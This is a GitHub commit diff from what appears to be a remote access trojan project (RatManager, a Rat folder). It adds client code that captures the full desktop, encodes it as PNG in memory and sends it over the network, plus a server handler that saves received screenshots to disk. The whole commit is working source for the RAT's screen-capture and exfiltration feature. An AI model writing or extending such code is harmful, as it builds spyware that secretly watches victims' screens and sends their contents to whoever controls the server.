Skip to content

Commit 74ba91c

Browse files
committed
Send compressed screenshot through network
1 parent 83ba645 commit 74ba91c

File tree

4 files changed

+60
-27
lines changed

4 files changed

+60
-27
lines changed

Client/Screenshot.cpp

Lines changed: 49 additions & 26 deletions
Original file line numberDiff line numberDiff line change
@@ -6,41 +6,64 @@
66

77
#include "StringExtensions.h"
88

9-
109
SharedSpan Screenshot::ScreenshotScreen()
1110
{
12-
auto hdc = wil::unique_hdc_window(
13-
GetDC(HWND_DESKTOP));
11+
return ScreenshotWindow(HWND_DESKTOP);
12+
}
13+
14+
SharedSpan Screenshot::ScreenshotWindow(const HWND window)
15+
{
16+
auto hdc = wil::unique_hdc_window(
17+
GetDC(window));
18+
19+
const auto memdc = wil::unique_hdc(
20+
CreateCompatibleDC(hdc.get()));
21+
22+
const int height = GetSystemMetrics(SM_CYSCREEN);
23+
const int width = GetSystemMetrics(SM_CXSCREEN);
24+
25+
auto hBitmap = wil::unique_hbitmap(
26+
CreateCompatibleBitmap(hdc.get(), width, height));
27+
28+
SelectObject(
29+
memdc.get(),
30+
hBitmap.get());
31+
32+
BitBlt(
33+
memdc.get(),
34+
0,
35+
0,
36+
width,
37+
height,
38+
hdc.get(),
39+
0,
40+
0,
41+
SRCCOPY);
42+
43+
auto m_image = Gdiplus::Bitmap(hBitmap.get(), nullptr);
1444

15-
const auto memdc = wil::unique_hdc(
16-
CreateCompatibleDC(hdc.get()));
45+
CLSID pngEncoder = { 0x557cf406, 0x1a04, 0x11d3, {0x9a, 0x73, 0x00, 0x00, 0xf8, 0x1e, 0xf3, 0x2e} };
1746

18-
const int height = GetSystemMetrics(SM_CYSCREEN);
19-
const int width = GetSystemMetrics(SM_CXSCREEN);
47+
IStream* stream;
48+
CreateStreamOnHGlobal(nullptr, true, &stream);
2049

21-
auto hBitmap = wil::unique_hbitmap(
22-
CreateCompatibleBitmap(hdc.get(), width, height));
50+
m_image.Save(stream, &pngEncoder);
2351

24-
SelectObject(
25-
memdc.get(),
26-
hBitmap.get());
52+
ULARGE_INTEGER imageSize;
53+
LARGE_INTEGER offset;
54+
offset.QuadPart = 0;
2755

28-
BitBlt(
29-
memdc.get(),
30-
0,
31-
0,
32-
width,
33-
height,
34-
hdc.get(),
35-
0,
36-
0,
37-
SRCCOPY);
56+
stream->Seek(offset, STREAM_SEEK_END, &imageSize);
57+
stream->Seek(offset, STREAM_SEEK_SET, nullptr);
3858

39-
auto m_image = Gdiplus::Bitmap(hBitmap.get(), nullptr);
59+
auto imageSpan = SharedSpan(imageSize.QuadPart);
4060

41-
CLSID pngEncoder = { 0x557cf406, 0x1a04, 0x11d3, {0x9a, 0x73, 0x00, 0x00, 0xf8, 0x1e, 0xf3, 0x2e} };
61+
ULONG ulBytesRead;
62+
stream->Read(imageSpan.Data(), imageSize.QuadPart, &ulBytesRead);
4263

43-
m_image.Save(ToWString("myjpg.jpg").c_str(), &pngEncoder, nullptr);
64+
stream->Release();
65+
//m_image.Save(ToWString("myjpg.jpg").c_str(), &pngEncoder, nullptr);
66+
4467

45-
return SharedSpan(0);
68+
return imageSpan;
4669
}

Client/Screenshot.h

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -8,6 +8,8 @@ class Screenshot
88
public:
99
SharedSpan ScreenshotScreen();
1010

11+
static SharedSpan ScreenshotWindow(HWND window);
12+
1113
private:
1214
GdiPlusInitializer _initializer;
1315
};

Rat/myjpg.jpg

-434 KB
Binary file not shown.

Server/RatManager.cpp

Lines changed: 9 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,7 @@
11
#include "RatManager.h"
22

3+
#include <fstream>
4+
35
#include "Trace.h"
46

57
RatManager::RatManager(
@@ -101,7 +103,7 @@ void RatManager::OnDisconnection(const int client)
101103
Trace("\nClient %d disconnected\n", client);
102104
}
103105

104-
void RatManager::OnMessage(const int client, const MessageType type, const SharedSpan content)
106+
void RatManager::OnMessage(const int client, const MessageType type, SharedSpan content)
105107
{
106108
const auto str = content.String();
107109

@@ -111,6 +113,12 @@ void RatManager::OnMessage(const int client, const MessageType type, const Share
111113
Trace("%s", str.c_str());
112114
break;
113115

116+
case MessageType::Screenshot:
117+
118+
std::ofstream("myfile.png", std::ios::binary).write(content.Data(), content.Size());
119+
break;
120+
121+
114122
default:
115123
Trace(
116124
"\nClient %d sent: %d %s",

0 commit comments

Comments
 (0)